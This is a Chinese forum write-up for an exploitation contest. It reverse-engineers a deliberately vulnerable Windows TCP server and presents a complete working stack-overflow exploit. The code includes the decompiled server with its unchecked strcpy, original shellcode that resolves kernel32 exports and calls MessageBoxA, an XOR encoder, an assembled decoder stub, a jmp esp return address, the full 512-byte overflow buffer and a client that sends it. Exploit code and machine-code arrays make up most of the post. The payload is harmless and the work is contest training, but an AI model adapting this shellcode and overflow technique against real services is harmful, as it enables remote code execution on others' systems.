哈,放假三天,看了下论坛搞得竞赛项目,对第一个项目比较有兴趣,因此,做了下,可能很多朋友都参与了这个活动,其实奖品并不重要,重在参与。。。,下面给出我的答案。顺便在这里祝愿大家新年快乐。
由于exploit_me_A .exe很小,因此我的做法是:
  1)逆向还原代码 exploit_me_A ,还原为c程序源码,见附件中的exploit_me_A 下载。
  2)分析代码中存在的不足。找出漏洞位置。
  3)组织shellcode,并设置加密。见附件中的shellcode
  4)编写exploit攻击程序。见附件中的client下载.

PE分析:
将exploit_me_A还原后的代码如下:

#include "iostream.h"
#include "process.h"
#include "windows.h"
#include "Winsock2.h"
#pragma comment(lib,"Ws2_32.lib")

void pharseRecv(char * szRecv)
{
  char buff[196];
  strcpy(buff,szRecv);    //问题出在这里,没有边界检查,造成溢出漏洞
  cout<<"********************"<<endl;
  cout<<"received:"<<endl;
  cout<<buff<<endl;
}
void main(int argc, char* argv[],char *envp[ ])
{
  WSADATA WSAData;
  int nRecv;
  char buffer[512];
  WSAStartup(0x0101,&WSAData);

  SOCKET  sockServer = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
  if(sockServer == INVALID_SOCKET)
  {
      cout<<"socket creating error!"<<endl;
    exit(1);  
  }
  
  sockaddr_in addrName;
  addrName.sin_family = AF_INET;
  addrName.sin_port = ntohs(0x1E61);
  addrName.sin_addr.S_un.S_addr = htonl(0);
  if(bind(sockServer,(SOCKADDR * )&addrName,sizeof(addrName)))
  {
    cout<<"binding stream socket error!"<<endl;
  }
  
  cout<<"**************************************"<<endl;
  cout<<"     exploit target server 1.0\t   "<<endl;
  cout<<"**************************************"<<endl;
  listen(sockServer,4);

    sockaddr_in addrSock;
  int addrLen = sizeof(addrName);
  SOCKET sockC = accept(sockServer,(SOCKADDR *)&addrSock,&addrLen);
  if(sockC == INVALID_SOCKET)
  {
    goto QUIT;
  }

  do
  {
GOON:
    RtlZeroMemory(buffer,sizeof(buffer));
    nRecv = recv(sockC,buffer,512,0);
    if(nRecv < 0)
    {
      cout<<"reading stream message erro!"<<endl;
    }
    pharseRecv(buffer);
  }while(nRecv != 0);

  closesocket(sockC);
  sockC = accept(sockServer,(SOCKADDR *)&addrSock,&addrLen);
  if(sockC != INVALID_SOCKET)
    goto GOON;
  
QUIT:
  cout<<"accept error!"<<endl;
  WSACleanup();
  return;
}

该PE的功能是:
   监听7777网络端口,与Client端进行tcp通讯。并显示收到的内容。



漏洞描述:
由于显示收到的内容时,我们设定的缓冲区大小是196字节,比我们socket通讯用的接收缓冲区512字节还要小,并且显示时,没有判断缓冲区容量。因此,在这里我们可以通过socket通讯,client端发送一段特殊的shellcode码,使服务端产生溢出,从而使shellcode获取执行权。




shellcode描述:
请注明shellcode来源:原创,修改,引用。
原创请给出开发说明
修改请给出修改说明,并注明出处,附加被引用代码
引用请给出功能描述,并注明出处,附加被引用代码

以下是一段原创的shellcode码,用于弹出一个messagebox。
功能有: 
1.  查找kernel32的内存加载位置
2.  在该pe文件中搜索 LoadLibraryA, GetProcessAddress的地址
3.  加载user32.dll,并获取MessageBoxA的地址。
4.  调用MessageBoxA.

本人曾经发表过一个帖子http://bbs.pediy.com/showthread.php?t=55326
由于本帖子中生成的shellcode码长度超过了512  200  4 = 308字节长度,不能使用。
因此在原有的基础上,进行了简单修改,产生了如下代码:
void  shellcodeFun()
{
  unsigned int uLoadLibrary,uGetProcAddress,uKernelBase;
  unsigned int ImageBase,flen;
  char *FuncName;    
  __asm
  {    
    jmp Start
GetFunc:
    mov eax,ImageBase
    mov eax,[eax+0x3c]    
    add eax,ImageBase    
    mov eax,[eax+0x78]      
    add eax,ImageBase    
    mov esi,eax          
    mov ecx,[eax+0x18]    
    mov eax,[eax+0x20]    
    add eax,ImageBase
    mov ebx,eax  
    xor edx,edx
  FindLoop:
    push ecx
    push esi
    mov eax,[eax]
    add eax,ImageBase
    mov esi,FuncName
    mov edi,eax
    mov ecx,flen
    cld
    rep cmpsb    
    pop esi      
    je  Found  
    inc edx  
    add ebx,4
    mov eax,ebx
    pop ecx
    loop FindLoop    
  Found:
    add esp,4
    mov eax,esi
    mov eax,[eax+0x1c]    
    add eax,ImageBase    
    shl edx,2
    add eax,edx
    mov eax,[eax]      
    add eax,ImageBase
    jmp Founded
        xor eax,eax
  Founded:
    ret
  }
   
 __asm
 {
Start:
   push esi
   push ecx

   xor eax, eax        
   xor esi, esi
   mov esi, fs:[esi + 0x18]     
   mov eax, [esi+4]                       
   mov eax, [eax - 0x1c]        
find_kernel32_base:
   dec eax                      
   xor ax, ax
   cmp word ptr [eax], 0x5a4d   
   jne find_kernel32_base       

    pop ecx
   pop esi
   mov uKernelBase,eax
   mov ImageBase,eax
   mov flen,0x0c
   call LL1
      _emit 'L'   
    _emit 'o'
    _emit 'a'
    _emit 'd'
    _emit 'L'
    _emit 'i'
    _emit 'b'
    _emit 'r'
    _emit 'a'
    _emit 'r'
    _emit 'y'
    _emit 'A'
    _emit 0
LL1:
       pop eax
     mov FuncName,eax
     call GetFunc
     mov uLoadLibrary,eax

     mov flen,0x0E
   call LL2
      _emit 'G'   
    _emit 'e'
    _emit 't'
    _emit 'P'
    _emit 'r'
    _emit 'o'
    _emit 'c'
    _emit 'A'
    _emit 'd'
    _emit 'd'
    _emit 'r'
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 0
LL2:
     pop eax
     mov FuncName,eax
     call GetFunc
     mov uGetProcAddress,eax

     call l1
    _emit 'u'
    _emit 's'
    _emit 'e'
    _emit 'r'
    _emit '3'
    _emit '2'
    _emit '.'
    _emit 'd'
    _emit 'l'
    _emit 'l'
    _emit 0
l1:
    call uLoadLibrary
    mov ebx,eax
    call l2
    _emit 'M'   
    _emit 'e'
    _emit 's'
    _emit 's'
    _emit 'a'
    _emit 'g'
    _emit 'e'
    _emit 'B'
    _emit 'o'
    _emit 'x'
    _emit 'A'
    _emit 0
l2:
    push ebx
    call uGetProcAddress
    push 0
    push 0
      push 0
    push 0
      call eax   
  }
}

void main(void)
{
    shellcodeFun();
}

2.从中取出的shellcode码为:
unsigned char shellcode[]={
  0x55,0x8B,0xEC,0x83,0xEC,0x58,0x53,0x56,0x57,0xEB,
  0x56,0x8B,0x45,0xF0,0x8B,0x40,0x3C,0x03,0x45,0xF0,
  0x8B,0x40,0x78,0x03,0x45,0xF0,0x8B,0xF0,0x8B,0x48,
  0x18,0x8B,0x40,0x20,0x03,0x45,0xF0,0x8B,0xD8,0x33,
  0xD2,0x51,0x56,0x8B,0x00,0x03,0x45,0xF0,0x8B,0x75,
  0xE8,0x8B,0xF8,0x8B,0x4D,0xEC,0xFC,0xF3,0xA6,0x5E,
  0x74,0x09,0x42,0x83,0xC3,0x04,0x8B,0xC3,0x59,0xE2,
  0xE2,0x83,0xC4,0x04,0x8B,0xC6,0x8B,0x40,0x1C,0x03,
  0x45,0xF0,0xC1,0xE2,0x02,0x03,0xC2,0x8B,0x00,0x03,
  0x45,0xF0,0xEB,0x02,0x33,0xC0,0xC3,0x56,0x51,0x33,
  0xC0,0x33,0xF6,0x64,0x8B,0x76,0x18,0x8B,0x46,0x04,
  0x8B,0x40,0xE4,0x48,0x66,0x33,0xC0,0x66,0x81,0x38,
  0x4D,0x5A,0x75,0xF5,0x59,0x5E,0x89,0x45,0xF4,0x89,
  0x45,0xF0,0xC7,0x45,0xEC,0x0C,0x00,0x00,0x00,0xE8,
  0x0D,0x00,0x00,0x00,0x4C,0x6F,0x61,0x64,0x4C,0x69,
  0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x58,0x89,0x45,
  0xE8,0xE8,0x65,0xFF,0xFF,0xFF,0x89,0x45,0xFC,0xC7,
  0x45,0xEC,0x0E,0x00,0x00,0x00,0xE8,0x0F,0x00,0x00,
  0x00,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x41,0x64,
  0x64,0x72,0x65,0x73,0x73,0x00,0x58,0x89,0x45,0xE8,
  0xE8,0x3E,0xFF,0xFF,0xFF,0x89,0x45,0xF8,0xE8,0x0B,
  0x00,0x00,0x00,0x75,0x73,0x65,0x72,0x33,0x32,0x2E,
  0x64,0x6C,0x6C,0x00,0xFF,0x55,0xFC,0x8B,0xD8,0xE8,
  0x0C,0x00,0x00,0x00,0x4D,0x65,0x73,0x73,0x61,0x67,
  0x65,0x42,0x6F,0x78,0x41,0x00,0x53,0xFF,0x55,0xF8,
  0x6A,0x00,0x6A,0x00,0x6A,0x00,0x6A,0x00,0xFF,0xD0
};

3. 由于生成的shellcode码中间有0x00,因此,在strcpy拷贝的时候会被截断,因此,在这一步考虑采用加密的办法,去掉shellcode中0x00,在这里考虑使用异或的办法。
代码如下:
#include "windows.h"
#include "stdio.h"
#define KEY  0x88
unsigned char shellcode[]={
  0x55,0x8B,0xEC,0x83,0xEC,0x58,0x53,0x56,0x57,0xEB,
  0x56,0x8B,0x45,0xF0,0x8B,0x40,0x3C,0x03,0x45,0xF0,
  0x8B,0x40,0x78,0x03,0x45,0xF0,0x8B,0xF0,0x8B,0x48,
  0x18,0x8B,0x40,0x20,0x03,0x45,0xF0,0x8B,0xD8,0x33,
  0xD2,0x51,0x56,0x8B,0x00,0x03,0x45,0xF0,0x8B,0x75,
  0xE8,0x8B,0xF8,0x8B,0x4D,0xEC,0xFC,0xF3,0xA6,0x5E,
  0x74,0x09,0x42,0x83,0xC3,0x04,0x8B,0xC3,0x59,0xE2,
  0xE2,0x83,0xC4,0x04,0x8B,0xC6,0x8B,0x40,0x1C,0x03,
  0x45,0xF0,0xC1,0xE2,0x02,0x03,0xC2,0x8B,0x00,0x03,
  0x45,0xF0,0xEB,0x02,0x33,0xC0,0xC3,0x56,0x51,0x33,
  0xC0,0x33,0xF6,0x64,0x8B,0x76,0x18,0x8B,0x46,0x04,
  0x8B,0x40,0xE4,0x48,0x66,0x33,0xC0,0x66,0x81,0x38,
  0x4D,0x5A,0x75,0xF5,0x59,0x5E,0x89,0x45,0xF4,0x89,
  0x45,0xF0,0xC7,0x45,0xEC,0x0C,0x00,0x00,0x00,0xE8,
  0x0D,0x00,0x00,0x00,0x4C,0x6F,0x61,0x64,0x4C,0x69,
  0x62,0x72,0x61,0x72,0x79,0x41,0x00,0x58,0x89,0x45,
  0xE8,0xE8,0x65,0xFF,0xFF,0xFF,0x89,0x45,0xFC,0xC7,
  0x45,0xEC,0x0E,0x00,0x00,0x00,0xE8,0x0F,0x00,0x00,
  0x00,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x41,0x64,
  0x64,0x72,0x65,0x73,0x73,0x00,0x58,0x89,0x45,0xE8,
  0xE8,0x3E,0xFF,0xFF,0xFF,0x89,0x45,0xF8,0xE8,0x0B,
  0x00,0x00,0x00,0x75,0x73,0x65,0x72,0x33,0x32,0x2E,
  0x64,0x6C,0x6C,0x00,0xFF,0x55,0xFC,0x8B,0xD8,0xE8,
  0x0C,0x00,0x00,0x00,0x4D,0x65,0x73,0x73,0x61,0x67,
  0x65,0x42,0x6F,0x78,0x41,0x00,0x53,0xFF,0x55,0xF8,
  0x6A,0x00,0x6A,0x00,0x6A,0x00,0x6A,0x00,0xFF,0xD0
};

int main(int argc, char* argv[])
{
  int nLen;
  unsigned char enShellcode[512] = {0};
  nLen = sizeof(shellcode)-1;

  FILE * fp = fopen("c:\\hh.txt","wb");

  for(int i = 0; i <= nLen; i++)
  {
    enShellcode[i] = shellcode[i] ^ KEY;
    fprintf(fp,"%#x,",enShellcode[i]);
    printf("%#x,",enShellcode[i]);
    if(i %10 == 0)
    {
      printf("\n");
      fprintf(fp,"\n");
    }
  }

  fclose(fp);
  return 0;
}
由此,我们用utraledit从c:\hh.txt文件中得到加密后的内容如下:
Unsigned char enShellcode[] = { 0xdd,
0x3,0x64,0xb,0x64,0xd0,0xdb,0xde,0xdf,0x63,0xde,
0x3,0xcd,0x78,0x3,0xc8,0xb4,0x8b,0xcd,0x78,0x3,
0xc8,0xf0,0x8b,0xcd,0x78,0x3,0x78,0x3,0xc0,0x90,
0x3,0xc8,0xa8,0x8b,0xcd,0x78,0x3,0x50,0xbb,0x5a,
0xd9,0xde,0x3,0x88,0x8b,0xcd,0x78,0x3,0xfd,0x60,
0x3,0x70,0x3,0xc5,0x64,0x74,0x7b,0x2e,0xd6,0xfc,
0x81,0xca,0xb,0x4b,0x8c,0x3,0x4b,0xd1,0x6a,0x6a,
0xb,0x4c,0x8c,0x3,0x4e,0x3,0xc8,0x94,0x8b,0xcd,
0x78,0x49,0x6a,0x8a,0x8b,0x4a,0x3,0x88,0x8b,0xcd,
0x78,0x63,0x8a,0xbb,0x48,0x4b,0xde,0xd9,0xbb,0x48,
0xbb,0x7e,0xec,0x3,0xfe,0x90,0x3,0xce,0x8c,0x3,
0xc8,0x6c,0xc0,0xee,0xbb,0x48,0xee,0x9,0xb0,0xc5,
0xd2,0xfd,0x7d,0xd1,0xd6,0x1,0xcd,0x7c,0x1,0xcd,
0x78,0x4f,0xcd,0x64,0x84,0x88,0x88,0x88,0x60,0x85,
0x88,0x88,0x88,0xc4,0xe7,0xe9,0xec,0xc4,0xe1,0xea,
0xfa,0xe9,0xfa,0xf1,0xc9,0x88,0xd0,0x1,0xcd,0x60,
0x60,0xed,0x77,0x77,0x77,0x1,0xcd,0x74,0x4f,0xcd,
0x64,0x86,0x88,0x88,0x88,0x60,0x87,0x88,0x88,0x88,
0xcf,0xed,0xfc,0xd8,0xfa,0xe7,0xeb,0xc9,0xec,0xec,
0xfa,0xed,0xfb,0xfb,0x88,0xd0,0x1,0xcd,0x60,0x60,
0xb6,0x77,0x77,0x77,0x1,0xcd,0x70,0x60,0x83,0x88,
0x88,0x88,0xfd,0xfb,0xed,0xfa,0xbb,0xba,0xa6,0xec,
0xe4,0xe4,0x88,0x77,0xdd,0x74,0x3,0x50,0x60,0x84,
0x88,0x88,0x88,0xc5,0xed,0xfb,0xfb,0xe9,0xef,0xed,
0xca,0xe7,0xf0,0xc9,0x88,0xdb,0x77,0xdd,0x70,0xe2,
0x88,0xe2,0x88,0xe2,0x88,0xe2,0x88,0x77,0x58};
现在,我们得到的shellcode中已经没有0x00.

4. 接下来我们还要写一段解密的代码,放在shellcode前。目前我们的enshellcode数组的字节数是260字节。 在开头我们反编译exploit_exe_A后还原的代码中可以看到,服务端定义的socket通讯缓冲是512字节,因此,我们在这里构造一个512字节的字符串。由于我们把shellcode加密为enshellcode,因此在我们构造的512字节的缓冲区中,要在开始部分放入解码程序。我们的解码程序如下:


void  decodeShellcode()
{
  _asm
  {
    jmp decode_end
decode_start:
    pop edx
    dec edx
    xor ecx,ecx
    mov cx,260  
decode_loop:
    xor byte PTR[edx+ecx],KEY
    loop decode_loop
    jmp decode_ok
decode_end:
    call decode_start
decode_ok:
  }
}

由此,我们得到这段代码的机器码为:
Unsighed char decode[23] = { 0xeb, 0x10,0x5a,0x4a,0x33,0xc9,0x66,0xb9,0x04,0x01,
                       0x80,0x34,0x0a,0x88,0xe2,0xfa,0xeb,0x05,0xe8,0xeb,
                      0xff,0xff,0xff
};

5. 到此我们的shellcode机器码组成为:decode + enshellcode两部分。
我们重新写出来,
Unsighed char shellcode[23 + 260] = { 0xeb, 0x10,0x5a,0x4a,0x33,0xc9,0x66,0xb9,0x04,0x01,
  0x80,0x34,0x0a,0x88,0xe2,0xfa,0xeb,0x05,0xe8,0xeb,
  0xff,0xff,0xff, 0xdd,
0x3,0x64,0xb,0x64,0xd0,0xdb,0xde,0xdf,0x63,0xde,
0x3,0xcd,0x78,0x3,0xc8,0xb4,0x8b,0xcd,0x78,0x3,
0xc8,0xf0,0x8b,0xcd,0x78,0x3,0x78,0x3,0xc0,0x90,
0x3,0xc8,0xa8,0x8b,0xcd,0x78,0x3,0x50,0xbb,0x5a,
0xd9,0xde,0x3,0x88,0x8b,0xcd,0x78,0x3,0xfd,0x60,
0x3,0x70,0x3,0xc5,0x64,0x74,0x7b,0x2e,0xd6,0xfc,
0x81,0xca,0xb,0x4b,0x8c,0x3,0x4b,0xd1,0x6a,0x6a,
0xb,0x4c,0x8c,0x3,0x4e,0x3,0xc8,0x94,0x8b,0xcd,
0x78,0x49,0x6a,0x8a,0x8b,0x4a,0x3,0x88,0x8b,0xcd,
0x78,0x63,0x8a,0xbb,0x48,0x4b,0xde,0xd9,0xbb,0x48,
0xbb,0x7e,0xec,0x3,0xfe,0x90,0x3,0xce,0x8c,0x3,
0xc8,0x6c,0xc0,0xee,0xbb,0x48,0xee,0x9,0xb0,0xc5,
0xd2,0xfd,0x7d,0xd1,0xd6,0x1,0xcd,0x7c,0x1,0xcd,
0x78,0x4f,0xcd,0x64,0x84,0x88,0x88,0x88,0x60,0x85,
0x88,0x88,0x88,0xc4,0xe7,0xe9,0xec,0xc4,0xe1,0xea,
0xfa,0xe9,0xfa,0xf1,0xc9,0x88,0xd0,0x1,0xcd,0x60,
0x60,0xed,0x77,0x77,0x77,0x1,0xcd,0x74,0x4f,0xcd,
0x64,0x86,0x88,0x88,0x88,0x60,0x87,0x88,0x88,0x88,
0xcf,0xed,0xfc,0xd8,0xfa,0xe7,0xeb,0xc9,0xec,0xec,
0xfa,0xed,0xfb,0xfb,0x88,0xd0,0x1,0xcd,0x60,0x60,
0xb6,0x77,0x77,0x77,0x1,0xcd,0x70,0x60,0x83,0x88,
0x88,0x88,0xfd,0xfb,0xed,0xfa,0xbb,0xba,0xa6,0xec,
0xe4,0xe4,0x88,0x77,0xdd,0x74,0x3,0x50,0x60,0x84,
0x88,0x88,0x88,0xc5,0xed,0xfb,0xfb,0xe9,0xef,0xed,
0xca,0xe7,0xf0,0xc9,0x88,0xdb,0x77,0xdd,0x70,0xe2,
0x88,0xe2,0x88,0xe2,0x88,0xe2,0x88,0x77,0x58};

我们的shellcode核心代码长度为283字节。

6.我们在此打算使用jmp esp的方式来执行shellcode,因此,我们还要找出jmp esp对应的机器码, 我们可以用调试器搜索一下EEF4(jmp esp)找到一个合适的地址。我得到的0x7ffa4512,这个地址填入到ret就可以了。

分析我们的溢出代码组合应该为:
 
196字节乱码 + 4字节ebp + 4字节ret + shellcode 他们的长度和为512字节。
因此我们最终构造的字符串为:
unsigned char Buffer[512] = 
{
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x12,0x45,0xfa,0x7f,           //--ret 
  0xeb, 0x10,0x5a,0x4a,0x33,0xc9,0x66,0xb9,0x04,0x01,
  0x80,0x34,0x0a,0x88,0xe2,0xfa,0xeb,0x05,0xe8,0xeb,
  0xff,0xff,0xff, 0xdd,
  0x3,0x64,0xb,0x64,0xd0,0xdb,0xde,0xdf,0x63,0xde,
  0x3,0xcd,0x78,0x3,0xc8,0xb4,0x8b,0xcd,0x78,0x3,
  0xc8,0xf0,0x8b,0xcd,0x78,0x3,0x78,0x3,0xc0,0x90,
  0x3,0xc8,0xa8,0x8b,0xcd,0x78,0x3,0x50,0xbb,0x5a,
  0xd9,0xde,0x3,0x88,0x8b,0xcd,0x78,0x3,0xfd,0x60,
  0x3,0x70,0x3,0xc5,0x64,0x74,0x7b,0x2e,0xd6,0xfc,
  0x81,0xca,0xb,0x4b,0x8c,0x3,0x4b,0xd1,0x6a,0x6a,
  0xb,0x4c,0x8c,0x3,0x4e,0x3,0xc8,0x94,0x8b,0xcd,
  0x78,0x49,0x6a,0x8a,0x8b,0x4a,0x3,0x88,0x8b,0xcd,
  0x78,0x63,0x8a,0xbb,0x48,0x4b,0xde,0xd9,0xbb,0x48,
  0xbb,0x7e,0xec,0x3,0xfe,0x90,0x3,0xce,0x8c,0x3,
  0xc8,0x6c,0xc0,0xee,0xbb,0x48,0xee,0x9,0xb0,0xc5,
  0xd2,0xfd,0x7d,0xd1,0xd6,0x1,0xcd,0x7c,0x1,0xcd,
  0x78,0x4f,0xcd,0x64,0x84,0x88,0x88,0x88,0x60,0x85,
  0x88,0x88,0x88,0xc4,0xe7,0xe9,0xec,0xc4,0xe1,0xea,
  0xfa,0xe9,0xfa,0xf1,0xc9,0x88,0xd0,0x1,0xcd,0x60,
  0x60,0xed,0x77,0x77,0x77,0x1,0xcd,0x74,0x4f,0xcd,
  0x64,0x86,0x88,0x88,0x88,0x60,0x87,0x88,0x88,0x88,
  0xcf,0xed,0xfc,0xd8,0xfa,0xe7,0xeb,0xc9,0xec,0xec,
  0xfa,0xed,0xfb,0xfb,0x88,0xd0,0x1,0xcd,0x60,0x60,
  0xb6,0x77,0x77,0x77,0x1,0xcd,0x70,0x60,0x83,0x88,
  0x88,0x88,0xfd,0xfb,0xed,0xfa,0xbb,0xba,0xa6,0xec,
  0xe4,0xe4,0x88,0x77,0xdd,0x74,0x3,0x50,0x60,0x84,
  0x88,0x88,0x88,0xc5,0xed,0xfb,0xfb,0xe9,0xef,0xed,
  0xca,0xe7,0xf0,0xc9,0x88,0xdb,0x77,0xdd,0x70,0xe2,
  0x88,0xe2,0x88,0xe2,0x88,0xe2,0x88,0x77,0x58
};

7. client端代码如下:
#include "iostream.h"
#include "process.h"
#include "windows.h"
#include "Winsock2.h"
#pragma comment(lib,"Ws2_32.lib")
  
unsigned char Buffer[512] = 
{
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,
  0x12,0x45,0xfa,0x7f,           //--ret 
  0xeb, 0x10,0x5a,0x4a,0x33,0xc9,0x66,0xb9,0x04,0x01,
  0x80,0x34,0x0a,0x88,0xe2,0xfa,0xeb,0x05,0xe8,0xeb,
  0xff,0xff,0xff, 0xdd,
  0x3,0x64,0xb,0x64,0xd0,0xdb,0xde,0xdf,0x63,0xde,
  0x3,0xcd,0x78,0x3,0xc8,0xb4,0x8b,0xcd,0x78,0x3,
  0xc8,0xf0,0x8b,0xcd,0x78,0x3,0x78,0x3,0xc0,0x90,
  0x3,0xc8,0xa8,0x8b,0xcd,0x78,0x3,0x50,0xbb,0x5a,
  0xd9,0xde,0x3,0x88,0x8b,0xcd,0x78,0x3,0xfd,0x60,
  0x3,0x70,0x3,0xc5,0x64,0x74,0x7b,0x2e,0xd6,0xfc,
  0x81,0xca,0xb,0x4b,0x8c,0x3,0x4b,0xd1,0x6a,0x6a,
  0xb,0x4c,0x8c,0x3,0x4e,0x3,0xc8,0x94,0x8b,0xcd,
  0x78,0x49,0x6a,0x8a,0x8b,0x4a,0x3,0x88,0x8b,0xcd,
  0x78,0x63,0x8a,0xbb,0x48,0x4b,0xde,0xd9,0xbb,0x48,
  0xbb,0x7e,0xec,0x3,0xfe,0x90,0x3,0xce,0x8c,0x3,
  0xc8,0x6c,0xc0,0xee,0xbb,0x48,0xee,0x9,0xb0,0xc5,
  0xd2,0xfd,0x7d,0xd1,0xd6,0x1,0xcd,0x7c,0x1,0xcd,
  0x78,0x4f,0xcd,0x64,0x84,0x88,0x88,0x88,0x60,0x85,
  0x88,0x88,0x88,0xc4,0xe7,0xe9,0xec,0xc4,0xe1,0xea,
  0xfa,0xe9,0xfa,0xf1,0xc9,0x88,0xd0,0x1,0xcd,0x60,
  0x60,0xed,0x77,0x77,0x77,0x1,0xcd,0x74,0x4f,0xcd,
  0x64,0x86,0x88,0x88,0x88,0x60,0x87,0x88,0x88,0x88,
  0xcf,0xed,0xfc,0xd8,0xfa,0xe7,0xeb,0xc9,0xec,0xec,
  0xfa,0xed,0xfb,0xfb,0x88,0xd0,0x1,0xcd,0x60,0x60,
  0xb6,0x77,0x77,0x77,0x1,0xcd,0x70,0x60,0x83,0x88,
  0x88,0x88,0xfd,0xfb,0xed,0xfa,0xbb,0xba,0xa6,0xec,
  0xe4,0xe4,0x88,0x77,0xdd,0x74,0x3,0x50,0x60,0x84,
  0x88,0x88,0x88,0xc5,0xed,0xfb,0xfb,0xe9,0xef,0xed,
  0xca,0xe7,0xf0,0xc9,0x88,0xdb,0x77,0xdd,0x70,0xe2,
  0x88,0xe2,0x88,0xe2,0x88,0xe2,0x88,0x77,0x58
};
int main(int argc, char* argv[])
{  
  WSADATA WSAData;
  int nRecv;

  WSAStartup(0x0101,&WSAData);

  SOCKET  sockClient = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
  if(sockClient == INVALID_SOCKET)
  {
      cout<<"socket creating error!"<<endl;
    exit(1);  
  }
  sockaddr_in addrName;
  addrName.sin_family = AF_INET;
  addrName.sin_port = ntohs(0x1E61);
  addrName.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
  
  if(connect(sockClient,(SOCKADDR*)&addrName,sizeof(addrName)) == SOCKET_ERROR)
  {
    cout<<"socket connect error"<<endl;
    exit(1);
  }
  
    
  nRecv = send(sockClient,(char *)Buffer,512,0);
  
  WSACleanup();

  return 0;
}

exploit运行截图